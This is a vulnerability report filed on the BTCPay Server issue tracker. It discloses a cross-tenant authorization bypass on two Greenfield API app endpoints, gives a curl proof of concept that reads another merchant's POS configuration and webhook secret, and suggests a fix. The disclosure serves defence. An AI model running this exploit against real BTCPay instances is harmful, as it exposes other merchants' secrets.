[Bug]: Cross-tenant IDOR on GET /api/v1/apps/pos/{appId} and /api/v1/apps/crowdfund/{appId}
What is your BTCPay version?
v2.0.4
How did you deploy BTCPay Server?
docker
What happened?
reported via email on 13 June 2026:
I found an authorization bypass affecting the Greenfield API in BTCPay Server. Two endpoints -- GET /api/v1/apps/pos/{appId} and GET /api/v1/apps/crowdfund/{appId} -- are missing the store-scoped policy authorization that protects the sibling generic GET /api/v1/apps/{appId} route and all write endpoints.
Root cause: GreenfieldAppsController carries the class-level [Authorize(AuthenticationSchemes = AuthenticationSchemes.Greenfield)] which only checks that the caller is authenticated. The store-ownership check is triggered by a method-level [Authorize(Policy = Policies.CanModifyStoreSettings)] attribute, which causes BuiltInPermissionScopeProvider to resolve the appId to its owning store and verify membership. The two type-specific GET endpoints do not carry this method-level attribute, so the ownership check is skipped entirely.
Any authenticated user can call GET /api/v1/apps/pos/{appId} or GET /api/v1/apps/crowdfund/{appId} and receive the full app configuration of any other merchant, including the notificationUrl field, which frequently contains embedded API keys or secrets.
I confirmed this against a local instance: a user with no access to the target store successfully retrieved the store's POS app configuration including the notificationUrl in a live test.
How did you encounter this bug?
Relevant log output
### PoC
Prerequisites: a BTCPay Server instance with two accounts -- `[email protected]` (store owner) and `[email protected]` (unrelated user). Both accounts have API keys.
BTCPAY_URL="http://localhost:14142"
ADMIN_KEY="fb1b6524b46c64f392bfe79ae606b7ca92075a3c"
USER1_KEY="226544c4eabe13228ffb27b52135141105d3703c"
# Step 1: Admin creates a store
STORE_ID=$(curl -s -X POST "$BTCPAY_URL/api/v1/stores" \
-H "Content-Type: application/json" \
-H "Authorization: token $ADMIN_KEY" \
-d '{"name":"Admin Secret Store","defaultCurrency":"BTC"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Store ID: $STORE_ID"
# Output: Store ID: EV3BaJjdmKAKj5K2a7feA7JvT83LSia9urGTvFnN67bi
# Step 2: Admin creates a POS app with a private notification URL
APP_ID=$(curl -s -X POST "$BTCPAY_URL/api/v1/stores/$STORE_ID/apps/pos" \
-H "Content-Type: application/json" \
-H "Authorization: token $ADMIN_KEY" \
-d '{"appName":"Admin Secret POS","currency":"BTC","notificationUrl":"http://internal-webhook.admin-company.com/secret-payment-notify?key=superSecretApiKey123"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "App ID: $APP_ID"
# Output: App ID: 4PWhxCTKbF5MjGsEkHYMQZH3o4VX
# Step 3: Confirm user1 cannot access admin's store
curl -s "$BTCPAY_URL/api/v1/stores/$STORE_ID" \
-H "Authorization: token $USER1_KEY"
# Output: {"missingPermission":"btcpay.store.canviewstoresettings","code":"missing-permission",...}
# Step 4: User1 reads admin's POS app configuration including the secret notificationUrl
curl -s "$BTCPAY_URL/api/v1/apps/pos/$APP_ID" \
-H "Authorization: token $USER1_KEY"
# Output:
# {
# "notificationUrl": "http://internal-webhook.admin-company.com/secret-payment-notify?key=superSecretApiKey123",
# "storeId": "EV3BaJjdmKAKj5K2a7feA7JvT83LSia9urGTvFnN67bi",
# "id": "4PWhxCTKbF5MjGsEkHYMQZH3o4VX",
# "appName": "Admin Secret POS",
# ...
# }
Observed output from live test:
{
"notificationUrl": "http://internal-webhook.admin-company.com/secret-payment-notify?key=superSecretApiKey123",
"storeId": "EV3BaJjdmKAKj5K2a7feA7JvT83LSia9urGTvFnN67bi",
"id": "4PWhxCTKbF5MjGsEkHYMQZH3o4VX",
"appType": "PointOfSale",
"appName": "Admin Secret POS",
"archived": false,
"created": 1781360570
}What browser do you use?
No response
Additional information
Suggested fix: add [Authorize(Policy = Policies.CanModifyStoreSettings, AuthenticationSchemes = AuthenticationSchemes.Greenfield)] to both GetPosApp and GetCrowdfundApp in BTCPayServer/Controllers/GreenField/GreenfieldAppsController.cs, consistent with the sibling read endpoint GetApp and all write operations.
Are you sure this is a bug report?
- I confirm this is a bug report
Source: btcpayserver/btcpayserver